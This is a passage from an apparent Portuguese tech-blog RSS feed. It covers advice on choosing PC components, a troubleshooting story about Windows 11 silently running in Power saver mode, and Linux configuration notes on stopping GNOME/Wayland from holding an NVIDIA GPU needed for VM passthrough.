    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Acho que isso é tudo que eu queria compartilhar sobre escolher componentes de PCs. Nos videos do meu canal eu explico vários conceitos que complementam isso como <a href="https://www.youtube.com/watch?v=0TndL-Nh6Ok&amp;list=PLdsnXVqbHDUcTGjNZuRYCVj3AZtdt6oG7&amp;pp=gAQB"target="_blank" rel="noopener">Introdução a Redes</a> ou <a href="https://www.youtube.com/watch?v=lxjBgxmDZAI&amp;list=PLdsnXVqbHDUcM0LTAxqrVrTy6Q7jQprjt&amp;pp=gAQB"target="_blank" rel="noopener">Entendendo Armazenamento</a> ou mais &ldquo;escovação de bits&rdquo; em <a href="https://www.youtube.com/watch?v=8G80nuEyDN4&amp;list=PLdsnXVqbHDUcQIuiH9b-i9A85H3A2ZW5W&amp;pp=gAQB"target="_blank" rel="noopener">Como Computadores Funcionam</a> e até coisas mais nerds como <a href="https://www.youtube.com/watch?v=tEXX1jdpZN8&amp;list=PLdsnXVqbHDUfTsz27oFYUaQD-1n9PXoyy&amp;pp=gAQB"target="_blank" rel="noopener">Saga dos Teclados</a> ou, pra programadores, <a href="https://www.youtube.com/watch?v=bwO8EZf0gLI&amp;list=PLdsnXVqbHDUdjNjfekBoCBfGtJ6kNRef-&amp;pp=gAQB"target="_blank" rel="noopener">Como Containers Funcionam</a> e <a href="https://www.youtube.com/watch?v=suSvMnNwV-8&amp;list=PLdsnXVqbHDUd17xLINVEXhJ32RxbzCEWV&amp;pp=gAQB"target="_blank" rel="noopener">Sistemas Operacionais</a>, tudo organizado em playlists. Só assistir.</p>
<p>Pra se manter atualizado, recomendo alguns canais que eu gosto:</p>
<ul>
<li><a href="https://www.youtube.com/@LinusTechTips"target="_blank" rel="noopener">Linus Tech Tips</a></li>
<li><a href="https://www.youtube.com/@GamersNexus"target="_blank" rel="noopener">Gamers Nexus</a></li>
<li><a href="https://www.youtube.com/@ETAPRIME"target="_blank" rel="noopener">ETA Prime</a></li>
<li><a href="https://www.youtube.com/@Coreteks"target="_blank" rel="noopener">CoreTeks</a></li>
<li><a href="https://www.youtube.com/@DigitalFoundry"target="_blank" rel="noopener">Digital Foundry</a> (pra entender efeitos de funcionalidades de GPUs em games)</li>
<li><a href="https://www.youtube.com/@HardwareCanucks"target="_blank" rel="noopener">Hardware Canucks</a></li>
<li><a href="https://www.youtube.com/@MatthewMoniz"target="_blank" rel="noopener">Matthew Moniz</a></li>
<li><a href="https://www.youtube.com/@Dave2D"target="_blank" rel="noopener">Dave2D</a></li>
</ul>
<p>O que não falta no YouTube são &ldquo;Tech Reviewers&rdquo; e a GRANDE maioria são extremamente ruins. Não recomendo a maioria. Tirando os da minha lista acima, não sobra muitos não. Tem alguns mais ou menos como Austin Evans, mas é mais entretenimento que review técnico, então também não recomendo.</p>
<p>Achou tudo isso demais? Isso foi só a ponta do iceberg. Não se preocupe em acertar de primeira. Você nunca vai ter só 1 PC. O importante é que preste atenção onde errou pra acertar na próxima. Mas se não se importar em pesquisar esses componentes todos e ficar só ouvindo YouTuber, vai fazer igual gente que consulta astrólogo pra saber como vencer na vida: não vai.</p>
<blockquote>
  <p><strong>Vou repetir: o melhor PC é aquele que você pode comprar!</strong></p>

</blockquote>
<p>Meu primeiro PC foi um 286 de 1MB de RAM no fim dos anos 80. Desde então passei por <strong>vários</strong> PCs. Numa era antes da Internet, eu cansei de ler classificados nos jornais pra pesquisar preços, eu ia bater perna na rua Santa Ifigênia, em São Paulo, que era a meca dos componentes eletrônicos. No começo da Internet eu cansei de fuçar ecomerces mais ou menos, componentes da Ásia via ums LikSang da vida.</p>
<p>Tive vários PCs, vários notebooks. Por isso eu tenho uma boa noção hoje, com quase 50 anos e como podem ver, eu continuo atualizado. Você de 20 tem que ter vergonha de ter preguiça. Isso tudo leva tempo, mas precisa começar não tendo medo de <strong>fuçar</strong> e <strong>errar</strong>.</p>
<p>Eu já queimei componentes, já dei curto, já fiz gambiarra, já formatei HD errado. Tudo que se pode imaginar que dá pra fazer errado, eu já fiz, por isso sei que é errado. E eu sei ler, li o que os outros faziam, e tentava do meu jeito. Montar PC é algo que você vai fazer a vida toda. Quanto mais cedo tirar a preguiça e aprender os componentes, menos problemas vai ter no futuro.</p>
<p>Ser o &ldquo;melhor programador&rdquo; significa aprender a tirar o máximo que seu hardware consegue entregar e isso significa aprender a tunar cada componente e OS até extrair tudo dele. Foi assim que eu mais aprendi sobre computação: com hardware fraco. Ter dinheiro e comprar o mais caro só significa que você não vai aprender nada além de reclamar. E reclamar não tem valor.</p>
]]></content:encoded><category>hardware</category><category>performance</category></item><item><title>Seu Windows pode estar Capado sem Você Saber. Cheque isto!!</title><link>https://www.akitaonrails.com/2025/05/21/seu-windows-pode-estar-capado-sem-voce-saber-cheque-isto/</link><guid isPermaLink="true">https://www.akitaonrails.com/2025/05/21/seu-windows-pode-estar-capado-sem-voce-saber-cheque-isto/</guid><pubDate>Wed, 21 May 2025 17:15:00 -0300</pubDate><description>&lt;p&gt;Eu normalmente não ligo de documentar sobre problemas bobos de Windows, mas este em particular me deixou irritado, então vou relatar a sequência de eventos. Mas já deixo o spoiler do final: abra Control Panel e Power Options no seu Windows e cheque se ele não está em &amp;ldquo;Power saver&amp;rdquo; mode. Tire desse lixo, deixe no mínimo em Balanced, mas se for PC Desktop suba pra &amp;ldquo;High Performance&amp;rdquo; ou &amp;ldquo;Ultimate Performance&amp;rdquo;. Depois me agradeça.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Eu normalmente não ligo de documentar sobre problemas bobos de Windows, mas este em particular me deixou irritado, então vou relatar a sequência de eventos. Mas já deixo o spoiler do final: abra Control Panel e Power Options no seu Windows e cheque se ele não está em &ldquo;Power saver&rdquo; mode. Tire desse lixo, deixe no mínimo em Balanced, mas se for PC Desktop suba pra &ldquo;High Performance&rdquo; ou &ldquo;Ultimate Performance&rdquo;. Depois me agradeça.</p>
<p>Agora senta que lá vem história.</p>
<p>Eu montei um PC até que razoável pra minha namorada: Intel i7 12th Gen de 8 cores, 32GB DDR4-2400, NVIDIA RTX 3090, placa-mãe MSI Edge z790, NVME e até coloquei um NAS Synology DS1621+ em rede 2.5Gbps - porque ela é criadora de conteúdo e tem MUITO video pra editar. Modéstia a parte, ficou bonito:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/a8c82k3ocnpu1jamxb9w0z1fx2cf" alt="pc branco"  loading="lazy" /></p>
<p>Tudo funcionou muito bem por bastante tempo, mas eventualmente, sem nenhum motivo aparente, tudo começou a parecer meio lento. Não totalmente lento, mas às vezes páginas web pareciam engasgar pra carregar. Clicava no menu Start do Windows e ele parecia dar umas travadas. Às vezes o Explorer travava e precisava ir no Task Manager e dar restart no processo manualmente. Várias coisas super inconvenientes mas que não dava nenhum &ldquo;erro&rdquo; explícito aparente. Só parecia &ldquo;estranho&rdquo;.</p>
<p>Eu sou usuário de Linux. Meu PC principal é Manjaro Linux. Só uso Windows nos meus mini-PC de games, exclusivamente pra rodar Steam e alguns emuladores. Eu evito ao máximo instalar qualquer coisa neles. Porque sei como é um saco diagnosticar Windows depois que algum programa estranho invade.</p>
<p>Fui olhar os suspeitos de sempre. Ela tinha instalado jogos pra fazer streaming, tipo Valorant, Genshin Impact e coisas assim. Eu sempre suspeito de anti-cheats, as porcarias do Riot Vanguard ou Easy ou VAC. Comecei desinstalando todos os games. Mas eu sempre acho que anti-cheat é que nem malware: uma vez instalado, nunca mais vai sair do sistema. Desinstalei tudo, mas continuou essa sensação de meio travando, meio lento, às vezes, intermitente.</p>
<p>Tentei os próximos suspeitos: software de periféricos, como os da Elgato, Logitech, Razr que instalam um monte de porcaria nas máquinas, e recentemente estava lendo sobre o malware que vinha em todos eles. Assistam este video do GamerNexus pra entender a casa de cartas que é toda a indústria de periféricos com RGB:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/H_O5JtBqODA"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Mesmo desinstalando todos, ainda mesmo comportamento: meio lento, meio travando, instável.</p>
<p>Vamos tentar ir mais a fundo, pra isso tem que instalar ferramentas como da <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns"target="_blank" rel="noopener">Sysinternals Autoruns</a> pra ver se tem alguma coisa iniciando (coisas escondidas no Registry por exemplo). Tentei desligar tudo que eu achava suspeito.</p>
<p>Nada. A essa altura também já tinha garantido que firmware de BIOS mais nova da MSI estava instalado. Chequei se nada tinha desligado na BIOS, XMP profile tava ok, nada de fast-boot e coisas assim.</p>
<h3>Será a Internet?<span class="hx:absolute hx:-mt-20" id="será-a-internet"></span>
    <a href="#ser%c3%a1-a-internet" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Como o uso maior é internet e ela parecia &ldquo;lenta&rdquo;, pensei que poderia ser problemas de rede. Roteador da Vivo? Plano? Wifi com interferência?</p>
<p>Ficando sem paciência resolvi ir nuclear na idéia de internet. De fato, abrindo a página da <a href="https://speed.cloudflare.com/"target="_blank" rel="noopener">Cloudflare Speed Test</a> eu via que a velocidade em si estava ok, mas a latência estava MUITO alta, jitter alto e, principalmente PACKET LOSS estava em mais de 15%. Não é normal isso, tem que ser 0%.</p>
<p>Aproveitei que fui pra Miami e já trouxe um roteador TP-LINK BE9300 pra Wi-fi 7, comprei uma placa PCIe de Wi-fi 7 compatível também. Desliguei o roteador de Wi-fi da Vivo e mandei subir o plano pra 800Mbps. E de fato, melhorou muito a internet:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ogesvmtex2ek825hel7d4l0f5i30" alt="vivo internet"  loading="lazy" /></p>
<p>Latência caiu, jitter caiu, packet loss foi pra 0%.</p>
<p>Mas isso não resolveu o problema. Do nada o navegador dava umas pausas na hora de carregar alguma página. Aquela sensação meio de lento, meio travando. E sim, tentei trocar de Edge pra Chrome, pra Firefox, pra tudo. Nada fazia diferença. A internet ficou mais rápida mesmo, mas o Windows em si não pareceu que melhorou muito e navegando, começava a ficar mais e mais lento. Então o problema não era internet.</p>
<p>Estava ficando sem opções. Tudo que poderia ser manualmente limpo no Windows, eu limpei. Já não tinha quase mais nada pra apagar - e eu apago as coisas sem dó. Mas eu sempre fico na cabeça que é algum malware, alguma coisa que carrega antes do boot, algum &ldquo;ROOTKIT&rdquo;. Anti-cheats são Rootkits por definição. Eles carregam antes até da kernel e a partir desse ponto, o sistema comprometido não pode ser mais confiado, porque nenhuma ferramenta vai conseguir achar ele.</p>
<p>Assumindo que nesse ponto deve ser um sistema comprometido, resolvi ir na opção nuclear: reinstalar tudo do zero. Fizemos backup dos dados e lá fui eu reinstalar do zero.</p>
<h3>Reinstalar NÃO FUNCIONOU<span class="hx:absolute hx:-mt-20" id="reinstalar-não-funcionou"></span>
    <a href="#reinstalar-n%c3%a3o-funcionou" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Agora ficou pior.</p>
<p>Com o Windows 11 Pro, recém-instalado, garantidamente sem nenhum software de terceiros instalado, ainda assim estava com o mesmo comportamento de meio lento, meio travando. O menu de start não me deixava clicar em nada. Precisava abrir o task manager e matar o Explorer manualmente pra fazer ele voltar a funcionar.</p>
<p>Fiquei um tempo olhando pro Task Manager, mas não tinha nenhum processo rodando que eu poderia suspeitar mais: era Windows bare-bones. Eu até tinha rodado um <a href="https://github.com/Raphire/Win11Debloat"target="_blank" rel="noopener">Debloater</a> pra desinstalar os apps desnecessários da Microsoft como Teams.</p>
<p>Mas eis que, de tanto olhar o task manager, eu vi que estava ignorando um dado importante. Veja se acham:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/pky39kkwcbuyqocwpj15n36i9gai" alt="cpu low"  loading="lazy" /></p>
<p>A imagem tá meio zoada porque eu tirei foto do monitor com meu celular. O refresh rate conflita com da câmera e fica essa &ldquo;grade&rdquo;, mas acho que dá pra ler.</p>
<p>Mesmo quando você não tem quase nenhum programa rodando, não é natural a CPU estar com clock tão baixo assim, 0.50Ghz - MEIO GIGAHERTZ. Esse Intel i7 é capaz de ir acima de 4Ghz e o clock-base é de 2Ghz.</p>
<p>Abri navegadores, abri abas, fiquei monitorando, e nunca subia pra mais de 1.5Ghz. Um ocasional pico de 2Ghz por 1 segundo e depois caía pra abaixo de 1Ghz de novo. Daí pensei: será que o AIO está falhando??</p>
<p>Olhando o Event Viewer dava pra ver quando o menu Start (que faz parte do Explorer.exe) parava de funcionar e travava: ele registra no log como &ldquo;Hanging Events&rdquo; código 1002.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/dtugk013p4decud6zo1dzg3rjhxr" alt="event viewer"  loading="lazy" /></p>
<p>Tá vendo esse monte de Error? Tudo Hanging Events, e &ldquo;hanging&rdquo; é justamente o comportamento: alguma coisa parece &ldquo;segurar&rdquo;, &ldquo;travar&rdquo; e só matando o processo pra ele voltar a funcionar.</p>
<p>E isso acontecia antes e também DEPOIS de resinstalar tudo do zero. Alguma coisa parecia fundamentalmente errada no hardware em si. Com o clock super baixo, esse comportamento começa a fazer sentido: está tão lento que ele não está conseguindo processar coisas básicas. Clique várias vezes no Start Menu (que vai ficar fuçando documentos recentes, atualizando lista de aplicativos, abrindo search bar, etc) e não tem clock pra processar isso enquanto ainda tem Windows Defender em background, abas de navegador processando.</p>
<h3>Será Thermal Throttle??<span class="hx:absolute hx:-mt-20" id="será-thermal-throttle"></span>
    <a href="#ser%c3%a1-thermal-throttle" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Como o Windows está zerado, não pode mais ser anti-cheat, não pode ser anti-virus esquisito, não pode ser malware, não é a internet, é alguma coisa FORA, era o que fazia sentido.</p>
<p>Abri o PC e deixei aberto pra poder sentir se o dissipador estava ficando absurdamente quente. Se estiver, iria significar que meu AIO (Watercooler da Coolermaster) começou a falhar.</p>
<p>É normal quando a CPU super-aquece, ele derrubar o clock pra evitar queimar o chip. Isso se chama &ldquo;THEMAL THROTTLING&rdquo;.</p>
<p>E de novo esquisito: estava FRIO ao toque!!!</p>
<p>Não é possível. Abri a BIOS pra re-checar perfis de ventoinha, mas tudo normal:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/yl02sk0dug6zj9d1gen877d22gnw" alt="cpu fans"  loading="lazy" /></p>
<p>Eis que finalmente me ocorreu:</p>
<pre><code>**DEIXA EU CHECAR CONFIGURAÇÃO DE POWER**
</code></pre>
<p>Num PC/notebook normal, deveria aparecer algo parecido com isto:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/a5dkm6eag4ebma6ye1i1mnzphy3s" alt="Power Settings"  loading="lazy" /></p>
<p>Por default, Windows sempre sobe em &ldquo;Balanced Mode&rdquo;.</p>
<p>Mas no PC da minha namorada, <strong>não sei por que</strong>, não tinha opção de Power Mode!!! E eu estou num Windows 11 pro com licença paga!!</p>
<p>Isso é esquisito, mas eu sei que no antigo Control Panel, tem opção de Power Options:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/70ymku67f5ufp0pd76jp0b2hqjx2" alt="control panel"  loading="lazy" /></p>
<p>E EIS O PROBLEMA:</p>
<p>Estava em &ldquo;Power saver&rdquo;!!!</p>
<p>Como isso aconteceu? Não tenho a mínima idéia. LEMBREM-SE: eu re-instalei o Windows do zero. Isso é logo depois de reinstalar!!</p>
<p>Em notebook faz sentido ter esse perfil, pra economizar bateria quando você não tem tomada. Mas em PC desktop, como é meu caso, não faz nenhum sentido!! Mudei pra &ldquo;Ultimate Performance&rdquo; e olha o task manager agora:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/5hg5d85ivuxv9tw5si21wcb3hm5p" alt="cpu high"  loading="lazy" /></p>
<p>AGORA SIM!! Acima de 4Ghz!!!</p>
<p>O NORMAL desta CPU é estar na faixa de 4Ghz, com Turbo Boost de 5Ghz. Mas em Power saver mode, ele NUNCA sobe acima de 2Ghz e fica idling em 500Mhz. Ou seja, estava tudo <strong>DEZ VEZES MAIS LENTO</strong>, às vezes tentava dar boost e ficava ainda <strong>CINCO A DUAS VEZES MAIS LENTO</strong>. E é intermitente!!!</p>
<p>Testando instalar apps, navegar, etc, tudo agora está funcionando normalmente, sem travar, sem sensação de lentidão. Start menu não trava mais - porque agora tem CPU suficiente pra processar as porcarias que ele precisa em background.</p>
<h3>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>CHEQUE POWER OPTIONS NO CONTROL PANEL!!!!</p>
<p>Repetindo: eu tinha ACABADO DE REINSTALAR O WINDOWS. Estava zerado e, por default, ele subiu em Power Saver mode.</p>
<p>Não tenho idéia de porque ele fez isso, não sei se ele sempre faz isso, não sei se ele não reconheceu a placa-mãe da MSI, não sei que combinação de fatores de hardware podem fazer o Windows dar fallback pra isso.</p>
<p>Mas é ALARMANTE que ele faça isso sem avisar. Não tem mensagem de erro. Não tem notificação. Não aparece no Event Viewer. Ou seja, mesmo um Power User como eu eu, precisa aleatoriamente suspeitar &ldquo;hum, deixa eu ver o perfil de energia&rdquo;.</p>
<p>Muita gente com Windows deve estar sentindo essa lentidão e travamentos e achando &ldquo;hm, meu PC é porcaria mesmo, preciso juntar dinheiro pra comprar outro&rdquo;, sem saber que talvez ele só esteja capado por esse perfil de energia e na verdade o PC dele é de 2x a 5x, até 10x mais rápido e ele não sabe disso! Não é uma diferença pequena!</p>
<p>POWER SAVER MODE é uma grande porcaria, não tem nenhuma utilidade prática e nem deveria existir.  É uma das coisas legadas que fazem o Windows ter uma péssima experiência - porque ele não avisa.</p>
<p>Lembra os códigos de erros 1002 de hanging events? Se sair procurando no Google, todo fórum vai te dizer pra rodar programas de diagnósticos, desinstalar coisas, ou reinstalar o Windows. Nenhum cita nada sobre perfil de energia.</p>
<p>Espero que isso ajude mais alguém!</p>
]]></content:encoded><category>microsoft</category><category>performance</category><category>hardware</category></item><item><title>NVIDIA e Wayland - Problemas pra PCI Passthrough em VMs</title><link>https://www.akitaonrails.com/2025/04/17/nvidia-e-wayland-problemas-pra-pci-passthrough-em-vms/</link><guid isPermaLink="true">https://www.akitaonrails.com/2025/04/17/nvidia-e-wayland-problemas-pra-pci-passthrough-em-vms/</guid><pubDate>Thu, 17 Apr 2025 19:35:00 -0300</pubDate><description>&lt;p&gt;Mais um artigo que é mais pra eu não me esquecer e servir de anotação pra mim.&lt;/p&gt;
&lt;p&gt;Em Fevereiro de 2023 eu fiz um longo video sobre como eu configurei Windows pra rodar emulado em VM de QEMU/Libvirt e conseguindo passar minha 2a GPU, que é a RTX 4090 pra dentro da VM, possibilitando rodar jogos pesados mesmo emulando o Windows. Se não assistiu, está &lt;a href="https://www.akitaonrails.com/2023/02/01/akitando-137-games-em-maquina-virtual-com-gpu-passthrough-entendendo-qemu-kvm-libvirt"target="_blank" rel="noopener"&gt;neste link&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Em resumo, eu tenho uma máquina parruda, um Ryzen 9 7950X3D com 96GB de RAM. Essa CPU tem uma iGPU, uma GPU integrada fraquinha da AMD. Fraquinha mas mais do que suficiente pra rodar GNOME em dois monitores, com suporte a HDR e em 4K sem engasgar nem nada. Pra uso do dia a dia que é mais abrir navegador, é mais que suficiente.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Mais um artigo que é mais pra eu não me esquecer e servir de anotação pra mim.</p>
<p>Em Fevereiro de 2023 eu fiz um longo video sobre como eu configurei Windows pra rodar emulado em VM de QEMU/Libvirt e conseguindo passar minha 2a GPU, que é a RTX 4090 pra dentro da VM, possibilitando rodar jogos pesados mesmo emulando o Windows. Se não assistiu, está <a href="https://www.akitaonrails.com/2023/02/01/akitando-137-games-em-maquina-virtual-com-gpu-passthrough-entendendo-qemu-kvm-libvirt"target="_blank" rel="noopener">neste link</a>.</p>
<p>Em resumo, eu tenho uma máquina parruda, um Ryzen 9 7950X3D com 96GB de RAM. Essa CPU tem uma iGPU, uma GPU integrada fraquinha da AMD. Fraquinha mas mais do que suficiente pra rodar GNOME em dois monitores, com suporte a HDR e em 4K sem engasgar nem nada. Pra uso do dia a dia que é mais abrir navegador, é mais que suficiente.</p>
<p>Essa GPU carrega no Linux com o driver que já vem na kernel, <code>amdgpu</code>e é montada como <code>/dev/dri/card1</code>. Daí eu coloquei uma 2a GPU, a parruda RTX 4090 com 24GB de VRAM GDDR6X. Não é suficiente pra rodar as LLMs mais parrudas, mas consegue rodar o suficiente. Comprei primariamente pra jogos, mas acabo usando pra IA e render 3D também.</p>
<p>Agora o conceito é simples: no boot, o Linux precisa ignorar essa placa e não carregar os drivers da NVIDIA. Se fizer isso, eu não consigo depois passar ela pra dentro da VM do Windows. Eu editava os videos do meu canal no DaVinci Resolve, que usava plugins que só funcionam em Windows, esse era um dos motivos na época. O Resolve em si funciona no Linux também, mas muitos plugins não. Eu também preferia usar Photoshop, que também só tem no Windows.</p>
<p>Pra isso configuramos o Linux pra carregar um driver de mentira, chamado de <code>vfio-pci</code> no lugar do driver da Nvidia (ou a alternativa open source, Nouveau). No outro artigo eu explico em mais detalhes, mas é um enorme saco configurar isso na mão. Não sei se ainda funciona, mas na época também usei um script que automatiza isso, o <a href="https://github.com/uwzis/GPU-Passthrough-Manager"target="_blank" rel="noopener">GPU-Passthrough-Manager</a>. Ele vai configurar tudo pra impedir os drivers da NVIDIA de carregar e trocar pra vfio-pci corretamente. Acho que também funciona em notebooks com Optimus, quando você tem uma iGPU mais fraca (pra economizar bateria) e uma GPU discreta separada, mas eu não testo isso faz anos então nem me perguntem, perguntem ao ChatGPT.</p>
<p>Desde 2023 isso funciona super bem. Eu tenho um script chamado <code>nvidia-locker</code> que tá no outro artigo. Se eu quiser rodar LLMs ou Blender no meu Linux nativo, rodo esse script e ele tira o vfio-pci e recolocar o driver da NVIDIA em tempo real, sem precisar rebootar. Daí quando termino e eu preciso bootar no Windows, rodo o script de novo e ele descarrega o driver também em tempo real, possibilitando passar via PCI Passthrough pra VM do QEMU. Tudo bonito.</p>
<p>Isso é, até poucos meses atrás, quando o Arch e Manjaro atualizaram pra trocar o antigo legado do <strong>Xorg pra Wayland</strong>. Hoje em dia Wayland é bem mais estável, os portals dele funcionam direitinho e eu consigo usar webcam, microfone, tablet e tudo mais sem nenhum problema. Tudo funciona e, teoricamente, Wayland é pra ser melhor. O novo GNOME 48 também ficou muito bom, com suporte a HDR e tudo mais. Enfim, tá tudo bonitão mesmo, recomendo.</p>
<p>Menos pra combinação de GNOME/Wayland com GPU NVIDIA especificamente nesse cenário de PCI Passthrough pra VM. Em resumo: o boot continua normal, vfio-pci carrega e esconde a GPU da NVIDIA. Meu script <code>nvidia-locker</code> também consegue recarregar o driver da NVIDIA a quente. O problema é quando eu tento descarregar o driver pra abrir a VM: o GNOME não deixa.</p>
<p>O Wayland é super agressivo e assim que ele detecta que surgiu uma nova GPU, ele carrega o processo <code>gnome-shell</code> nessa GPU. E como tem um processo pendurado, não tem como tirar mais o driver a quente. Só rebootando, e isso é um saco.</p>
<p>Não tem solução fácil. Eu tentei dezenas de coisas diferentes como permissões, regras de UDEV, serviços de SystemD, opções de kernel mas nada impede a porcaria do processo <code>gnome-shell</code> ou <code>gjs</code> (portal de Flatpak) de se pendurarem na GPU.</p>
<p>Só tem um jeito, meio gambiarra:</p>
<ul>
<li>primeiro, configurar o GDM (que carrega o GNOME e é o processo pai) pra não auto-restartar automaticamente se morrer</li>
<li>segundo, ir pra outro TTY (Ctrl+Alt+F3, por exemplo), matar o GDM de lá e só assim descarregar o driver da NVIDIA.</li>
<li>terceiro, quando trocar o driver por vfio-pci, agora sim a GPU está desligada e dá pra reiniciar o GDM e logar novamente. Só um saco que os apps gráficos abertos vão morrer, mas é mais rápido do que um reboot inteiro do PC.</li>
</ul>
<h2>1 - desligar auto-restart do GDM<span class="hx:absolute hx:-mt-20" id="1---desligar-auto-restart-do-gdm"></span>
    <a href="#1---desligar-auto-restart-do-gdm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code># Disable GDM auto-restart
sudo mkdir -p /etc/systemd/system/gdm.service.d
sudo tee /etc/systemd/system/gdm.service.d/10-no-restart.conf &lt;&lt;EOF
[Service]
Restart=no
EOF

# Update systemd
sudo systemctl daemon-reload</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Essa config impede o GDM de auto-reiniciar. Agora eu consigo matar ela. Sem fazer isso, se eu matar a GDM, ela abre de novo rápido demais e não dá tempo de tirar o driver da NVIDIA antes.</p>
<h2>2 - Tentando evitar o Wayland de pegar a GPU<span class="hx:absolute hx:-mt-20" id="2---tentando-evitar-o-wayland-de-pegar-a-gpu"></span>
    <a href="#2---tentando-evitar-o-wayland-de-pegar-a-gpu" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Isso o script de GPU-Passthrough-Manager teoricamente já faz, mas pra garantir é bom ter o seguinte:</p>
<p>Primeiro, em <code>/etc/modprobe.d/blacklist-nvidia.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>blacklist nvidia
blacklist nvidia_drm
blacklist nvidia_uvm
blacklist nvidia_peer_mem
blacklist nvidia_modeset
blacklist nvidia-nvlink
blacklist xhci_pci
blacklist ucsi_ccg
options nvidia NVreg_EnableGpuFirmware=0</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Segundo, em <code>/etc/modprobe.d/nvidia.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>options nvidia_drm modeset=0
options nvidia NVreg_InitializeSystemMemoryAllocations=0</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A opção modeset é pra tentar fazer o nvidia_drm não se pendurar na GPU, mas isso não funcionou também. É opcional, não sei se tem problema deixar ou tirar pra modeset=1 de novo. Acho que é mais importante isso se você usa o GPU da Nvidia como GPU primária onde realmente sua interface gráfica vai rodar, especialmente pra suportar o Wayland corretamente.</p>
<p>A outra tentativa é com regras de UDEV em <code>/etc/udev/rules.d/80-nvidia-composite.rules</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code># Unified NVIDIA/AMD GPU management
ACTION==&#34;add&#34;, SUBSYSTEM==&#34;drm&#34;, KERNEL==&#34;card*&#34;, ATTRS{vendor}==&#34;0x10de&#34;, \
    RUN&#43;=&#34;/bin/sh -c &#39;chmod 000 /dev/dri/%k; echo GNOME_MUTTER_IGNORE_DEVICE=1 &gt;&gt; /etc/environment&#39;&#34;

ACTION==&#34;add&#34;, SUBSYSTEM==&#34;drm&#34;, KERNEL==&#34;card*&#34;, ATTRS{vendor}==&#34;0x1002&#34;, \
    RUN&#43;=&#34;/bin/sh -c &#39;chmod 660 /dev/dri/%k; chown root:video /dev/dri/%k&#39;&#34;

# New critical addition:
